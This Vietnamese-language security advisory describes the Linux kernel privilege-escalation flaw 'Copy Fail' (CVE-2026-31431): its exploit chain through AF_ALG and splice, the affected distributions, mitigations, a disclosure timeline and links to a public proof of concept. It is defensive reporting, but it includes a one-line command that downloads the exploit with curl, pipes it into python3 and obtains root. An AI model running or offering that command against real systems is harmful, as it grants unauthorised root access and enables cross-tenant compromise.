732 byte khai thác được mọi Linux: lỗ hổng tầm cỡ sử thi ẩn mình gần một thập kỷ

🚨 Lỗ hổng tầm cỡ sử thi: 732 byte khai thác được mọi Linux, ẩn mình gần một thập kỷ
Một lỗ hổng mang tên“Copy Fail”trong nhân Linux (CVE-2026-31431) vừa được công bố công khai:
- 732 bytekịch bản Python
- độ tin cậy 100%, không cần cửa sổ race condition hay offset nhân
- Ảnh hưởng tới mọi bản phân phối Linux(từ 2017 đến nay)
- Primitive thoát khỏi container, tấn công xuyên tenant
- Ẩn mình gần một thập kỷ, mãi đến ngày 29/4/2026 mới được công bố
Cùng một kịch bản chạy trênUbuntu, RHEL, Amazon Linux, SUSEđều hiệu quả — không cần chỉnh sửa gì.
🎯 Trọng tâm lỗ hổng
Một khiếm khuyết logic duy nhất
Copy Fail là mộtkhiếm khuyết logic tuyến tính:
- Không cần cửa sổ race condition: không giống phần lớn LPE trên Linux vốn cần race condition
- Không cần offset nhân: không cần offset đặc thù của từng nhân
- Độ tin cậy 100%: thành công mọi lần
- Cùng một kịch bản: hiệu quả trên mọi bản phân phối
Chuỗi khai thác
Chuỗi tấn công của Copy Fail:
- Lỗi logic authencesn: một bug logic
- AF_ALG: qua crypto API của nhân
- splice(): gọi nối chuỗi
- Ghi 4 byte vào page cache: primitive tấn công cuối cùng
- Có thể khai thác suốt gần một thập kỷ: từ 2017 đến khi bản vá ra mắt
📊 Phạm vi ảnh hưởng
Các bản phân phối được xác minh chính thức
| Bản phân phối | Phiên bản nhân | Trạng thái |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ Đã xác minh |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ Đã xác minh |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ Đã xác minh |
| SUSE 16 | 6.12.0-160000.9-default | ✅ Đã xác minh |
Các bản phân phối khác cũng bị ảnh hưởng
Các bản phân phối sau đâycũng bị ảnh hưởng:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Linux nhúng
Kết luận: nếu nhân của bạn được build trong khoảng từ 2017 đến trước bản vá —bạn đang bị ảnh hưởng.
💡 Các kịch bản rủi ro cao
| Kịch bản | Rủi ro | Ảnh hưởng |
|---|---|---|
| Máy chủ Linux đa tenant | Cao | Bất kỳ người dùng nào cũng thành root |
| Kubernetes / cụm container | Cao | Tấn công xuyên container, xuyên tenant |
| CI Runner / Build Farm | Cao | PR chiếm quyền root của runner |
| Cloud SaaS chạy mã người dùng | Cao | Tenant trở thành host root |
| Máy chủ Linux tiêu chuẩn | Trung bình | LPE nội bộ, có thể xâu chuỗi tấn công |
| Laptop đơn người dùng | Thấp | Bước leo thang đặc quyền sau khai thác |
🔧 Biện pháp giảm thiểu
Phương án 1: Cập nhật nhân (khuyến nghị)
Cập nhật nhân lên phiên bản bao gồmmainline commit a664bf3d603d:
- Nội dung bản vá: hoàn tác tối ưu hóa in-place của algif_aead từ năm 2017
- Hiệu quả: các trang page cache không còn xuất hiện trong destination scatterlist có thể ghi
- Trạng thái: phần lớn các bản phân phối chủ đạo đã phát hành bản vá
Phương án 2: Vô hiệu hóa module algif_aead (tạm thời)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Ảnh hưởng khi vô hiệu hóa algif_aead
| Thành phần | Ảnh hưởng |
|---|---|
| dm-crypt / LUKS | Không bị ảnh hưởng |
| kTLS / IPsec | Không bị ảnh hưởng |
| OpenSSL / SSH | Không bị ảnh hưởng |
| User space AF_ALG | Có thể bị ảnh hưởng |
Kết luận: với hầu hết hệ thống, việc vô hiệu hóa algif_aeadkhông gây ảnh hưởng đáng kể.
Phương án 3: Chặn AF_ALG bằng seccomp
Với các workload không đáng tin cậy (container, sandbox, CI), hãy chặn việc tạo AF_ALG socket qua seccomp:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 Trình diễn PoC
PoC của lỗ hổng đã được công khai để các defenders xác minh hệ thống:
Chạy nhanh
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Chi tiết PoC
- Kích thước tệp: 732 byte
- Ngôn ngữ: chỉ dùng stdlib Python 3.10+ (os, socket, zlib)
- Mục tiêu mặc định: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Cảnh báo: kịch bản sửa đổi page cache của tệp setuid; thay đổi không tồn tại sau khi khởi động lại, nhưng root shell là có thật. Không chạy trong môi trường sản xuất.
📅 Dòng thời gian công bố
| Ngày | Sự kiện |
|---|---|
| 2026-03-23 | Báo cáo cho Linux kernel security team |
| 2026-03-24 | Xác nhận ban đầu |
| 2026-03-25 | Đề xuất và xem xét bản vá |
| 2026-04-01 | Bản vá được nộp vào mainline |
| 2026-04-22 | CVE-2026-31431 được cấp phát |
| 2026-04-29 | Công bố công khai |
🔍 Người phát hiện: Xint Code
Lỗ hổng doXint Codephát hiện:
- Thời gian quét: khoảng 1 giờ quét subsystem crypto/ của Linux
- Cách phát hiện: kiểm toán mã nguồn bằng AI
- Phân tích đầy đủ: root cause, diagrams, operator prompt
- Các phát hiện khác: đồng thời phát hiện các lỗ hổng nghiêm trọng khác, vẫn đang trong quá trình công bố phối hợp
Thành tích của Xint Code
- 0-day RCE: ZeroDay Cloud, quét sạch hạng mục cơ sở dữ liệu (Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3: chung kết DARPA AI Cyber Challenge
- DEF CON CTF 9×: đội vô địch nhiều nhất trong lịch sử DEF CON CTF
📝 Kết luận
Copy Fail (CVE-2026-31431) làlỗ hổng nhân Linux tầm cỡ sử thi:
- 732 byte khai thác được mọi Linux (từ 2017 đến nay)
- Độ tin cậy 100%, một khiếm khuyết logic duy nhất
- Thoát khỏi container, tấn công xuyên tenant
- Ẩn mình gần một thập kỷ, công bố ngày 29/4/2026
- Kịch bản rủi ro cao: máy chủ đa tenant, cụm container, CI Runner, SaaS
- Giảm thiểu: cập nhật nhân hoặc vô hiệu hóa algif_aead
- Người phát hiện: Xint Code, kiểm toán mã nguồn bằng AI
Lỗ hổng tầm cỡ sử thi kéo dài gần một thập kỷ, một kịch bản khai thác được mọi Linux.
Trang web chính thức của lỗ hổng:https://copy.fail
GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431
Phân tích kỹ thuật:https://xint.io/blog/copy-fail-linux-distributions
Bản vá Kernel:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5